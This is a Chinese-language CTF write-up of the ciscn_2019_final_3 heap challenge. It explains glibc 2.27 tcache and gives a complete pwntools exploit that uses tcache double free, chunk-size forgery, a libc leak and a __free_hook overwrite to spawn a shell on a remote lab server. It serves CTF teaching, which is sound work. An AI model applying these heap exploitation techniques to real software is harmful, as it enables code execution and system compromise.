What is tcache
tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找,同时tcache也讲究size匹配,就比如说如果你需要0x30的空间,就算我现在有0x40,或者0x50的空闲块,我都不会去使用,而是会去从top chunk里面分割(当然这是没有unsorted bin的时候),这一点很像fastbin
所以一般题目没有限制大小的话想要泄露libc,就会先malloc多个0x90以上大小的块,然后先free 7个,第8个就会进入到unsorted bin,这个时候再分配一个比0x90小的块,就会从这个unsroted bin里面切割,这个时候这个小块的fd和bk会保留着unsorted bin的链表指针,也就是指回main_arena的值,那么我们show一下基本就可以获得libc地址(当然要算好偏移)
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组(共64个字节,对应64个tcache链表),其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组(共64个元素,对应64个tcache链表,因此 tcache bin中最大为0x400字节),每一个指针指向的是对应tcache_entry结构体的地址。
tcache与fastbin链表的异同点在于: tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针 不同的是,tcachebin中的链表指针指向的下一个chunk的mem,fastbin中的链表指针指向的是下一个chunk的chunk
但今天这个题目就比较特别,他限制了大小为0x80,也就是说你正常的话是无法进入unsorted bin里面 这个其实可以说有两种解法 网上普遍用的是tcache的另一个机制,就是如果超过了0x400,就会进入unsorted bin,所以只需要修改大小就好,我第一次也是用这个打的 我现在要讲的是另一种解法,当然也多亏"安全"的tcache
pwn题
这个就不讲了,因为这个题目比较特殊,个人感觉是比较好的题目,出题思路很好,利用也怎么说,要说复杂不复杂,就是感觉好
例题
ciscn_2019_final_3
检查
代码分析
就两个函数,add delete
add函数
add没有堆溢出,只是会给你一个指针,这个指针可以确定堆的位置,进而利用double free修改size,同时可以用这个泄露libc地址,但这个想想就复杂
delete函数
经典的指针没有清空
准备框架
#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
libc_23_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elf_path = "./ciscn_final_3_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
else:
libc_path = ""
if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25715
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)
def debug():
# 断点设置在c之前就好,查看bss时候要在c后面
gdbscript = """
c
x/5xg $rebase(0x2022A0)
"""
gdb.attach(io, gdbscript=gdbscript)
def add(index: int, size: int, content: bytes):
sla(b"choice > ", b"1")
sla(b"input the index", str(index).encode())
sla(b"input the size", str(size).encode())
sla(b"now you can write something", content)
# 没有清空
def free(index: int):
sla(b"choice > ", b"2")
sla(b"input the index", str(index).encode())
attack
这里要感谢tcache,2.27版本的libc压根不检查double free,所以我们一上来就可以直接free n次数
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)) #获得第一个的堆地址
add(1, 0x18, b"b") #这两个用来伪造0xa0大小的unsorted bin
add(2, 0x78, b"c")
0x18+0x78的大小是0x20+0x80=0xa0在unsroted bin范围 同时由于unsorted bin之前讲过,他会去判断下一个块prev_in_use位,所以我们必须要保证可以找到后面的快,所以一定要把大小匹配上
修改大小为unsorted bin范围
因为我们知道堆地址,可以利用double free把指针改成第一个堆的mem部分,然后就可以刚好修改第二个堆的大小
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了,直接double free
it()
下面开始修改fd
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了,直接double free
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
it()
我们贴三个图,对应add三次的情况 当第一次add的时候,我们先从单项链表中取出一项 同时把这个fd指针修改了,所以可以看到这个链表变成这样了 第二次再取了一项,只剩我们最后的目标项 完美的欺骗 这里为了防止unsorted bin合并到top chunk,还需要额外来一块
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
it()
free成unsorted bin
这里我需要把这个a1进入unsorted bin,所以需要free 8次 free 7次
free 第8次
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
it()
这里有个细节,但我们把这个chunk作为unsortedbin free的时候,会把后面块的prev_inuse清空
难点,怎么泄露libc
大家都知道,我们有个unsorted bin之后,就可以malloc一个小块然后show一下就可以获得marene+88的地址,但是这里没有show,只有一个打印当前块的malloc地址 所以我们必须要把块分配到libc上才有可能泄露 但一般来说只有知道libc地址才能分配到libc上 所以这个地方其实是很有难度的 我们需要让这个块的fd被系统自动填成libc地址
那怎么做呢 我单纯的从unsorted bin中malloc一个块,可以让这个块的fd变成libc有关,但一旦我free之后,这个fd会变成0或者指向其他的堆,那么这个肯定是不可以的
那只有这样的方法,我先free掉可能fd会被替换成libc地址的块两次,一旦malloc这个块,这个fd被修改,那么我的链表也被修改,就可以泄露了
之前我们创造a0的时候,可以看到里面有两个块 0x20,0x80 0x20的大小已经被修改成了0xa0,这个free是没有效果的 那么我们可以free0x80的,然后只要先malloc0x20再malloc0x80,就可以自动填充了
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
it()
可以看到进入了tcache,下面就是让他自动填充为libc
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
it()
可以看到由于我们的fd刚好本来是用来管理unsorted bin,但结构由于我们tcahe的原因,导致单向链表被修改,下面就malloc两次就可以获得libc地址
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
it()
double free free_hook
直接打远程就好
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
free(7)
free(7)
free(7)
add(10, 0x18, p64(free_hook_addr))
add(11, 0x18, b"/bin/sh\0")
add(12, 0x18, p64(system_addr))
free(11)
it()
总结
这个题目还是很有意思的,包括你怎么修改大小,已经如果把堆分配到libc上去都是很巧妙的
|